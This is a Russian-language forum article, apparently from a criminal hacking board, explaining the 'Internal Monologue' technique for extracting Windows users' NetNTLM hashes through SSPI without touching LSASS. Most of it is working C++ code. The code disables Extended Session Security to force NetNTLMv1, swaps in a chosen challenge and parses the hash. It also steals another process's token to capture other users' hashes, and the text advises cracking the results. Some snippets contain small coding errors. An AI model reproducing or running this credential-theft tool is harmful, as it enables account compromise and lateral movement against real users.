• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Достаем учетные данные Windows, не трогая LSASS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Windows позволяет разработчикам создавать шифрованные каналы связи, подписывать сообщения между клиентом и службой, аутентифицировать клиента на службе. Злоупотребляя этими возможностями, мы можем извлекать учетные данные пользователя без взаимодействия с LSASS. В этой статье я продемонстрирую, как это работает.
Security Support Provider Interface (SSPI) — это механизм, предоставляющий огромный набор функций для разработчиков. Среди его преимуществ:
  • независимость от транспорта (данные передавать можно любым образом);
  • общий для всех SSP интерфейс;
  • аутентификация (в том числе с заимствованием прав);
  • конфиденциальность сообщений (шифрование);
  • сохранность сообщений (цифровая подпись).
SSP, если ты не читал Для просмотра ссылки Войди или Зарегистрируйся, — это набор DLL-файлов, который позволяет использовать протоколы безопасности (NTLMSSP, Kerberos и иные) в клиент‑серверных процессах. Если сильно обобщить, то SSPI — это API для вызова загруженных в систему SSP.


Для просмотра ссылки Войди или Зарегистрируйся

Реквизиты, контекст и блобы​

SSPI создает так называемые security blobs. По‑русски — «элементы безопасности» или «компоненты безопасности», но официального перевода мне не попадалось, так что остановимся на «блобах». Этими самыми блобами клиент и сервер обмениваются по удобному для них протоколу.

Чтобы подготовить начальные блобы, клиент получает хендл, указывающий на его реквизиты. Под реквизитами понимается хендл на учетные данные клиента, с помощью которых он может, например, пройти аутентификацию на службе. Получить реквизиты можно с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Путем обмена блобами выстраивается контекст. Контекст — специальный объект, который хранится и на клиенте, и на сервере. Контекст — результат успешной аутентификации клиента на сервере и в некоторых случаях — сервера на клиенте. С помощью выстроенного контекста можно использовать весь потенциал SSPI. Например, можно построить контекст, получить хендл, а затем шифровать передаваемые между клиентом и сервером сообщения. Причем сервер сможет расшифровать сообщения, так как у него есть контекст, сгенерированный вместе с клиентом, на котором данные шифруются.

Итак, для построения контекста используются специальные функции Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся. Контекст выстраивается не сразу. Если требуется еще пару раз обменяться блобами с сервером или клиентом, то возвращается ошибка SEC_I_CONTINUE_NEEDED.

Думаю, звучит страшно. Давай визуализируем. Построение контекста на стороне клиента выглядит следующим образом.

SSPI на клиенте
SSPI на клиенте

Клиент сначала получает хендл на свои реквизиты с помощью функции AcquireCredentialsHandle(), затем начинает выстраивать контекст, используя блобы. Как только функция InitializeSecurityContext() перестала возвращать SEC_I_CONTINUE_NEEDED, можно считать, что контекст выстроен, и пользоваться всеми функциями SSPI.

На стороне сервера происходит почти то же самое, только вместо InitializeSecurityContext() используется функция AcceptSecurityContext().

SSPI на сервере
SSPI на сервере

Сервер тоже получает хендл на свои реквизиты и точно так же взаимодействует с блобами. После построения контекста в некоторых случаях дополнительно вызывается функция Для просмотра ссылки Войди или Зарегистрируйся, которая позволяет заимствовать права клиента.

Известные атаки​

Теперь, бегло ознакомившись с SSPI, можно переходить к эксплуатации. Есть четыре основных вида атак:
  • Internal Monologue — выстраиваем контекст с помощью SSPI, используя NTLMSSP. Извлекаем NetNTLM-хеш пользователя;
  • TGT Delegation — выстраиваем контекст с помощью SSPI, используя Kerberos. Причем контекст выстраиваем на машину с неограниченным делегированием, что позволяет из AP-REQ-пакета достать TGT-билет пользователя;
  • обход UAC с помощью SSPI Datagram Contexts. На GitHub есть Для просмотра ссылки Войди или Зарегистрируйся;
  • LPE через подмену одного контекста другим. Подробнее — Для просмотра ссылки Войди или Зарегистрируйся. Уязвимость получила номер CVE-2023-21746.
Я познакомлю тебя с первым вариантом. Про TGT Delegation можно прочитать в статье «Для просмотра ссылки Войди или Зарегистрируйся».

Внутренний монолог​

Эту атаку придумал исследователь Для просмотра ссылки Войди или Зарегистрируйся. Принцип ее заключается в том, чтобы зарегистрировать свое приложение и как клиент, и как сервер. Затем пройти аутентификацию, используя NTLMSSP. После успешной аутентификации серверная часть нашей программы получит NetNTLM-хеш пользователя. Клиентская часть программы сгенерирует этот хеш по заданному сервером челленджу.

Можем начинать писать эксплоит! Чтобы было удобнее, я выложил полный код проекта Для просмотра ссылки Войди или Зарегистрируйся. А PoC Элада Шамира можешь глянуть Для просмотра ссылки Войди или Зарегистрируйся.

Начнем с режимов. В инструменте я предусмотрел два флага — -downgrade и -pid. Работать тулза будет, только если запускать ее от лица более‑менее привилегированного пользователя. Первый флаг позволяет понизить уровень аутентификации до уровня NetNTLMv1. Эта версия чуть более просто брутится. Второй флаг дает возможность получить NetNTLM-хеш владельца определенного процесса. Например, если в системе есть процесс cmd.exe, запущенный от лица user, то получится достать NetNTLM-хеш этого пользователя.

Если достаточных привилегий нет, то просто получим NetNTLM-хеш текущего пользователя. Если на системе разрешен NetNTLMv1, то итоговый хеш будет первой версии; если не разрешен, то второй.

Начнем с получения реквизитов. Как я уже говорил, для этого используется функция Для просмотра ссылки Войди или Зарегистрируйся.

Вызываем ее следующим образом.

Код:
SECURITY_STATUS status = AcquireCredentialsHandleW(
   (LPWSTR)response.UserName.c_str(),
   (LPWSTR)L"NTLM",
   SECPKG_CRED_BOTH,
   NULL,
   NULL,
   NULL,
   NULL,
   &_hCred,
   &ClientLifeTime
 );

Первым аргументом указываем имя пользователя, чьи реквизиты хотим получить. Имя пользователя я ранее занес в специальный класс InternalMonologueResponse.

Код:
class InternalMonologueResponse {
public:
 std::wstring Challenge = L"";
 std::wstring Resp1 = L"";
 std::wstring Resp2 = L"";
 std::wstring Domain = L"";
 std::wstring UserName = L"";
 std::wstring UsernameWithoutDomain = L"";
 void Print() {
   std::wcout << UsernameWithoutDomain << L"::" << Domain << L":" << Resp1 << L":" << Resp2 << L":" << Challenge << std::endl;
 }
};

Так как в нашей программе предусмотрено получение NetNTLM чужих пользователей, нужно будет получить имя пользователя через токен текущего потока.

Код:
LPWSTR GetCurrentUsername() {
 HANDLE hToken;
 if (!OpenThreadToken(GetCurrentThread(), TOKEN_READ,FALSE, &hToken)) {
   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken))
     return (LPWSTR)L"";
 }

 DWORD bufferSize = 0;
 if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &bufferSize) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
   CloseHandle(hToken);
   return (LPWSTR)L"";
 }

 PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(bufferSize);
 if (!pTokenUser) {
   CloseHandle(hToken);
   return (LPWSTR)L"";
 }

 if (!GetTokenInformation(hToken, TokenUser, pTokenUser, bufferSize, &bufferSize)) {
   free(pTokenUser);
   CloseHandle(hToken);
   return (LPWSTR)L"";
 }

 WCHAR accountName[MAX_PATH];
 WCHAR domainName[MAX_PATH];
 DWORD accountNameSize = MAX_PATH;
 DWORD domainNameSize = MAX_PATH;
 SID_NAME_USE snu;

 if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, accountName, &accountNameSize, domainName, &domainNameSize, &snu)) {
   free(pTokenUser);
   CloseHandle(hToken);
   return (LPWSTR)L"";
 }

 std::wstring username = std::wstring(domainName) + L"\" + std::wstring(accountName);

 free(pTokenUser);
 CloseHandle(hToken);

 LPWSTR lpwstr = new WCHAR[username.length() + 1];
 wcscpy_s(lpwstr, username.length() + 1, username.c_str());
 return lpwstr;
}

После получения реквизитов (они упали в _hCred) можно начинать обмен блобами. Пока еще в клиентской части нашего приложения вызываем InitializeSecurityContext().

Код:
status = InitializeSecurityContextW(
   &_hCred,
   NULL,
   (LPWSTR)response.UserName.c_str(),
   ISC_REQ_CONNECTION,
   0,
   SECURITY_NATIVE_DREP,
   NULL,
   0,
   &_hClientContext,
   &ClientToken,
   &ContextAttributes,
   &ClientLifeTime
 );

В эту функцию передается хендл на реквизиты и все то же имя пользователя. Фактически мы говорим, что хотим построить контекст на самих себя. Следующие значения стандартны для этой функции, нет смысла их пояснять, они описаны Для просмотра ссылки Войди или Зарегистрируйся.

После инициализации первичного блоба (начала построения контекста) регистрируем серверную часть нашего приложения. Из функции InitializeSecurityContext() нам вернулись необходимые для построения контекста параметры, поэтому передаем их в AcceptSecurityContext(). Делаем вид, что мы как будто передали эти блобы на сервер, а сервер их получил и начал обрабатывать.

Код:
status = AcceptSecurityContext(
  &_hCred,
  NULL,
  &ClientToken,
  ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY,
  SECURITY_NATIVE_DREP,
  &_hServerContext,
  &ServerToken,
  &ContextAttributes,
  &ClientLifeTime
  );

Убедившись, что функция завершена успешно, можем считать, что начало есть. Фактически произошло следующее:
  • клиент обратился к серверу с целью построения контекста;
  • сервер принял запрос и готов обрабатывать все блобы для построения контекста.
Остается лишь эмулировать отправку челленджа клиенту. В модели NTLMSSP челлендж — это цифровое значение, которое пользователь должен изменить, используя свой NTLM-хеш.

Для этого мы сначала должны преобразовать блоб в поток байтов. Он представлен в моей программе как std::vector<BYTE>, а преобразование из структуры Для просмотра ссылки Войди или Зарегистрируйся выполняется с помощью функции GetSecByteBufferArray(). Структура SecBufferDesc описывает передаваемые блобы.

Код:
std::vector <BYTE> serverMessage;
serverMessage = GetSecBufferByteArray(&ServerToken);

std::vector<BYTE> GetSecBufferByteArray(const SecBufferDesc* pSecBufferDesc) {
 if (!pSecBufferDesc) {
   throw std::invalid_argument("SecBufferDesc pointer cannot be null");
 }

 std::vector<BYTE> buffer;

 if (pSecBufferDesc->cBuffers == 1) {
   SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;
   if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
     buffer.resize(pSecBuffer->cbBuffer);
     memcpy(&buffer[0], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
   }
 }
 else {
   size_t bytesToAllocate = 0;

   for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {
     bytesToAllocate += pSecBufferDesc->pBuffers.cbBuffer;
   }

   buffer.resize(bytesToAllocate);
   BYTE* pBufferIndex = &buffer[0];

   for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {
     SecBuffer* pSecBuffer = &(pSecBufferDesc->pBuffers);
     if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
       memcpy(pBufferIndex, pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
       pBufferIndex += pSecBuffer->cbBuffer;
     }
   }
 }

 return buffer;
}

Теперь нужно поработать с челленджем. То есть со значением, которое сервер отправляет клиенту. Челлендж также следует перевести в поток байтов.

Код:
std::vector<uint8_t> challengeBytes = StringToByteArray(challenge);

std::vector<uint8_t> StringToByteArray(LPCWSTR hex) {
  std::wstring hexStr(hex);
  size_t length = hexStr.length();

  if (length % 2 == 1) {
    return std::vector<uint8_t>();
  }

  std::vector<uint8_t> arr(length >> 1);

  for (size_t i = 0; i < length >> 1; ++i) {
    uint8_t msb = (hexStr[i << 1] >= '0' && hexStr[i << 1] <= '9') ? hexStr[i << 1] - '0' : std::toupper(hexStr[i << 1]) - 'A' + 10;
    uint8_t lsb = (hexStr[(i << 1) + 1] >= '0' && hexStr[(i << 1) + 1] <= '9') ? hexStr[(i << 1) + 1] - '0' : std::toupper(hexStr[(i << 1) + 1]) - 'A' + 10;

    arr = (msb << 4) + lsb;
  }

  return arr;
}

Функция выглядит, конечно, страшно, но умные люди подсказали и более Для просмотра ссылки Войди или Зарегистрируйся.

Затем следует не забывать про ESS. Extended Session Security — один из механизмов безопасности для NetNTLMv1, направленный на усложнение брутфорса этих хешей. В частности, он позволял предотвратить Rainbow-атаку на этот тип хешей, так как клиент добавлял и свой челлендж перед тем, как сформировать ответ на сервер. Это изменяет хеш, и пропадает возможность поиска этого хеша в заранее сгенерированной таблице хеш — пароль.

За включение ESS отвечает всего один бит, поэтому просто меняем его значение и отключаем ESS.

Код:
if (DisableEss) {
  serverMessage[22] = (BYTE)(serverMessage[22] & 0xF7);
}

В SSPI очень много абстракций. Разработчику достаточно вызывать нужные функции, чтобы получить желаемый результат, а разбираться в глубоких особенностях протокола не требуется. В случае NTLMSSP Windows уже автоматически сгенерировала челлендж, который сервер должен отослать клиенту. Хотя будет правильнее сказать даже не челлендж, а пакет, который содержит всю необходимую информацию, чтобы клиентская сторона, используя свой NTLM-хеш, предоставила ответ.

Но мы‑то хотим использовать собственный челлендж, а не сгенерированный кем‑то! Поэтому челлендж нужно заменить. К счастью, никаких подписей, которые могли бы нам помешать, здесь нет. Поэтому просто по рассчитанным офсетам копируем наш челлендж.

ReplaceChallenge(serverMessage, challengeBytes);
Код:
void ReplaceChallenge(std::vector<uint8_t>& serverMessage, const std::vector<uint8_t>& challengeBytes) {
  std::copy(challengeBytes.begin(), challengeBytes.begin() + 8, serverMessage.begin() + 24);
  std::fill(serverMessage.begin() + 32, serverMessage.begin() + 48, 0);
}

Дело за малым. Делаем вид, что клиент получил этот пакет, вызываем InitializeSecurityContext(), и клиент генерирует ответ на челлендж.

Код:
status = InitializeSecurityContextW(
  &_hCred,
  &_hClientContext,
  (LPWSTR)response.UserName.c_str(),
  ISC_REQ_CONNECTION,
  0,
  SECURITY_NATIVE_DREP,
  &ServerToken,
  0,
  &_hClientContext,
  &ClientToken,
  &ContextAttributes,
  &ClientLifeTime
);


if (status != SEC_E_OK && DisableEss) {
  vfree(ClientSecBuffer2.pvBuffer);
  vfree(ServerSecBuffer2.pvBuffer);
  return InternalMonologueForCurrentUser(challenge, false);
}

std::vector<BYTE> result = GetSecBufferByteArray(&ClientToken);
vfree(ClientSecBuffer2.pvBuffer); // Макрос для освобождения памяти. Нам эти буферы больше не нужны
vfree(ServerSecBuffer2.pvBuffer);

ParseNTResponse(result, challenge, response);

Обрати внимание, что функция может завершиться неуспешно. В таком случае следует попробовать сгенерировать ответ, не отключая ESS.

Итак, остается лишь грамотно распарсить ответ. Для этого я написал отдельную функцию.

Код:
void ParseNTResponse(const std::vector<BYTE>& message, LPCWSTR challenge, InternalMonologueResponse& result) {
  uint16_t lm_resp_len = reinterpret_cast<const uint16_t>(&message[12]);
  uint32_t lm_resp_off = reinterpret_cast<const uint32_t>(&message[16]);
  uint16_t nt_resp_len = reinterpret_cast<const uint16_t>(&message[20]);
  uint32_t nt_resp_off = reinterpret_cast<const uint32_t>(&message[24]);
  uint16_t domain_len = reinterpret_cast<const uint16_t>(&message[28]);
  uint32_t domain_off = reinterpret_cast<const uint32_t>(&message[32]);

  std::vector<BYTE> lm_resp(lm_resp_len);
  std::vector<BYTE> nt_resp(nt_resp_len);
  std::vector<BYTE> domain(domain_len);

  std::copy(message.begin() + lm_resp_off, message.begin() + lm_resp_off + lm_resp_len, lm_resp.begin());
  std::copy(message.begin() + nt_resp_off, message.begin() + nt_resp_off + nt_resp_len, nt_resp.begin());
  std::copy(message.begin() + domain_off, message.begin() + domain_off + domain_len, domain.begin());

  result.Challenge = challenge;
  result.UsernameWithoutDomain = SplitDomain(result.UserName);

  if (nt_resp_len == 24) {
    result.Domain = ConvertHex(byteArrayToString(domain));
    result.Resp1 = byteArrayToString(lm_resp);
    result.Resp2 = byteArrayToString(nt_resp);
  }
  else if (nt_resp_len > 24) {
    result.Domain = ConvertHex(byteArrayToString(domain));
    result.Resp1 = byteArrayToString(nt_resp).substr(0, 32);
    result.Resp2 = byteArrayToString(nt_resp).substr(32);
  }
}

В ответе по конкретным офсетам можно прочитать длину и смещение всей необходимой для нас информации. Остается лишь подготовить переменные, которые будут содержать поток байтов, а затем конвертировать этот поток в привычные для нас символы.

Код:
std::wstring byteArrayToString(const std::vector<BYTE>& byteArray) {
  std::wstring result;
  result.reserve(byteArray.size() * 2);
  for (BYTE b : byteArray) {
    wchar_t buf[3];
    wsprintf(buf, L"%02X", b);
    result.append(buf);
  }

  return result;
}

И получаем на руки NetNTLM-хеш, который можно смело брутить! А уж если получили NetNTLM первой версии, то можно для увеличения скорости брута разложить на два DES-ключика, Для просмотра ссылки Войди или Зарегистрируйся. Либо можешь воспользоваться онлайновыми сервисами вроде Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся.

Итак, время демонстрации! При запуске инструмента без каких‑либо аргументов получаем NetNTLM-хеш пользователя.

Получение NetNTLM-хеша пользователя
Получение NetNTLM-хеша пользователя


В начале статьи я рассказывал про аргумент -pid. Через него указывается PID процесса. Используя магию перевоплощения, можно получить NetNTLM-хеш пользователя — владельца этого процесса. Все сводится к стандартной манипуляции с токенами. Получаем токен этого чужого процесса и нацепляем на себя.

Код:
DWORD ApplyProcessToken(DWORD pid) {
  ImpersonateSelf(SecurityDelegation);
  HANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

  HANDLE hSystemTokenHandle;
  OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);

  HANDLE newTokenHandle;
  DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newTokenHandle);

  ImpersonateLoggedOnUser(newTokenHandle);
  return GetLastError();
}

А затем в той же последовательности вызываем SSPI-функции. Вновь переходим к демо. Находим PID процесса, запущенного от лица другого пользователя, и тащим хеш!

Получение чужого NetNTLM-хеша
Получение чужого NetNTLM-хеша


Выводы

Встроенные в систему Windows механизмы очень удобны для разработчика, но некоторые из них могут без проблем предоставить выигрыш и атакующему, в чем мы, собственно, сегодня и убедились.
 
Activity
So far there's no one here
Сверху Снизу